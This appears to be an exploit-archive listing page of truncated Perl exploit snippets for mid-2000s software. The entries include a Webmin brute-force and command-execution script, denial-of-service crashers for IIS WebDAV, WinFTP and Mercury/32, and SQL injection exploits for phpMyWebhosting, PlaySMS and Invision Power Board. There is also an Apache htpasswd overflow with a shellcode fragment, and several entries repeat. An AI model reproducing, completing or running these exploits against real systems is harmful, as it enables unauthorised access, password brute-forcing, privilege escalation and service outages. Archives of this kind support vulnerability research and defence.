Webmin BruteForce and Command Execution Exploit

Exploit for multiple platform in category remote exploits =============================================== Webmin BruteForce and Command Execution Exploit =============================================== !/usr/bin/perl Webmin BruteForce + Command execution - By Di42lo usage ./bruteforce.webmin.pl...

Webmin - Brute Force / Command Execution

!/usr/bin/perl Webmin BruteForce + Command execution - By Di42lo usage ./bruteforce.webmin.pl ./bruteforce.webmin.pl 192.168.0.5 "uptime" + BruteForcing... + trying to enter with: admim + trying to enter with: admin + Found SID : f3231ff32849fa0c8c98487ba8c09dbb + Password : admin + Connecting to...

Mercury/32 Mail Server <= 4.01a (check) Buffer Overflow Exploit

Exploit for unknown platform in category dos / poc =============================================================== Mercury/32 Mail Server Mercury32Overflow.pl 127.0.0.1 hello moto Mercury/32, v4.01a, Dec 8 2003 Download: http://www.pmail.com/ use IO::Socket; use strict; my$socket = ""; if $socket...

Invision Power Board v2.0.0 - 2.0.2 Sql Injection Exploit

Exploit for unknown platform in category web applications ========================================================= Invision Power Board v2.0.0 - 2.0.2 Sql Injection Exploit ========================================================= !/usr/bin/perl use IO::Socket;...

Invision Power Board v2.0.0 - 2.0.2 Sql Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket;...

Secure Network Messenger 1.4.2 - Denial of Service

!/usr/bin/perl use IO::Socket; print "\nSecure Network Messenger Crasher by ClearScreen\n"; print "\nEnter host to crash: "; $h = ; chomp $h; $socks = IO::Socket::INET-new Proto = "tcp", PeerPort = "6144", PeerAddr = "$h" or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected ...

WinFTP Server 1.6 Denial of Service Exploit

Exploit for unknown platform in category dos / poc =========================================== WinFTP Server 1.6 Denial of Service Exploit =========================================== !/usr/local/bin/perl -w WinFTP server ver 1.6 D.o.S Exploit Discovered,exploited by KaGra Tested on WinXP SP1...

iis.pl.txt

This is a multi-part message in MIME format. ------=NextPart000001D01C4B563.F871BDD0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable http://icis.digitalparadox.org/dcrab/iis.pl=20 !/usr/bin/perl -w use IO::Socket; print "\n\n"; print "IIS 5 Null Printer...

Microsoft IIS - WebDAV XML Denial of Service (MS04-030)

!/usr/bin/perl IIS BlowOut POC exploit for MS04-030. Found by Amit Klein. incognitoergo yahoo com usage: perl ms04-030spl.pl host port use IO::Socket; $port = @ARGV1; $host = @ARGV0; $socket = IO::Socket::INET-newPeerAddr = $host,PeerPort = $port,Proto = "TCP"; for $count=1;...

Microsoft IIS - WebDAV XML Denial of Service (MS04-030)

Microsoft IIS - WebDAV XML Denial of Service MS04-030 !/usr/bin/perl IIS BlowOut POC exploit for MS04-030. Found by Amit Klein. incognitoergo yahoo com usage: perl ms04-030spl.pl host port use IO::Socket; $port = @ARGV1; $host = @ARGV0; $socket = IO::Socket::INET-newPeerAddr = $host,PeerPort =...

MS Windows IIS WebDAV XML Denial of Service Exploit (MS04-030)

Exploit for unknown platform in category dos / poc ============================================================== MS Windows IIS WebDAV XML Denial of Service Exploit MS04-030 ============================================================== !/usr/bin/perl IIS BlowOut POC exploit for MS04-030. Found ...

htpasswd Apache 1.3.31 - Local Overflow

htpasswd Apache 1.3.31 - Local Overflow !/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...

phpSQLnuke.pl

XSS/SQL Injection PHP-Nuke Delete Messages Bug by bima Php-Nuke is a popular freeware content management system. Based on information at : http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug An attacker permitted to post to global home-page messages. ...

[XSS]/SQL Injection PHP-Nuke Delete Message&#40;s&#41; Bug

XSS/SQL Injection PHP-Nuke Delete Messages Bug by bima Php-Nuke is a popular freeware content management system. Based on information at : http://www.mantralab.org/modules.php/modulo/news/lanotizia/5BXSS5D+PHP-Nuke+7.4+Add+Message+Bug An attacker permitted to post to global home-page messages. I...

phpMyWebhosting SQL Injection Exploit

No description provided by source. !/usr/bin/perl Exploit code by Noam Rathaus of Beyond Security Ltd. The following exploit code will use a valid username and password combination, to cause an SQL injection. Using the SQL injection, the Perl script elevates the privileges of the user provided to...

phpMyWebhosting - SQL Injection

!/usr/bin/perl Exploit code by Noam Rathaus of Beyond Security Ltd. The following exploit code will use a valid username and password combination, to cause an SQL injection. Using the SQL injection, the Perl script elevates the privileges of the user provided to administrative. use IO::Socket; us...

phpMyWebhosting - SQL Injection

phpMyWebhosting - SQL Injection !/usr/bin/perl Exploit code by Noam Rathaus of Beyond Security Ltd. The following exploit code will use a valid username and password combination, to cause an SQL injection. Using the SQL injection, the Perl script elevates the privileges of the user provided to...

phpMyWebhosting SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================== phpMyWebhosting SQL Injection Exploit ===================================== !/usr/bin/perl Exploit code by Noam Rathaus of Beyond Security Ltd. The following exploit code will use a valid username and...

PlaySms 0.7 - SQL Injection

!/usr/bin/perl PlaySMS version 0.7 and prior SQL Injection PoC Written by Noam Rathaus of Beyond Security Ltd. use IO::Socket; use strict; my $host = $ARGV0; my $remote = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = "80" ; unless $remote die "cannot connect to http daemon on...

BlackJumboDog Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================ BlackJumboDog Remote Buffer Overflow Exploit ============================================ !/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage...